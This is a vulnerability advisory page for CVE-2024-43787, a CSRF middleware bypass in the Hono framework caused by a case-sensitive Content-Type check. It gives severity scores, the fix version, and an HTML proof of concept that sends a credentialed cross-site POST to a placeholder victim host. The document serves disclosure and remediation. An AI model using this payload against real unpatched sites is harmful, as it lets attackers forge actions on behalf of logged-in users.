CSRF Test

CVE-2024-43787

Hono CSRF middleware can be bypassed using crafted Content-Type header

5.0

MEDIUM

CVSS 3.1

EPSS 0.08%

Description

### Summary Hono CSRF middleware can be bypassed using crafted Content-Type header. ### Details MIME types are case insensitive, but `isRequestedByFormElementRe` only matches lower-case. https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17 As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded". ### PoC ```html <html> <head> <title>CSRF Test</title> <script defer> document.addEventListener("DOMContentLoaded", () => { document.getElementById("btn").addEventListener("click", async () => { const res = await fetch("http://victim.example.com/test", { method: "POST", credentials: "include", headers: { "Content-Type": "Application/x-www-form-urlencoded", }, }); }); }); </script> </head> <body> <h1>CSRF Test</h1> <button id="btn">Click me!</button> </body> </html> ``` ### Impact Bypass csrf protection implemented with hono csrf middleware. ### Discussion I'm not sure that omitting csrf checks for Simple POST request is a good idea. CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.

How to fix CVE-2024-43787

To remediate CVE-2024-43787, upgrade the affected package to a fixed version below.

—upgrade to 4.5.8 or later

Is CVE-2024-43787 being exploited?

Low — EPSS is 0.1%, meaning exploitation activity has not been observed at scale.

Affected packages (1)

from 0, < 4.5.8

Source	Version	Severity	Vector
osv	CVSS 4.0	—	CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
osv	CVSS 3.1	MEDIUM5.0	CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L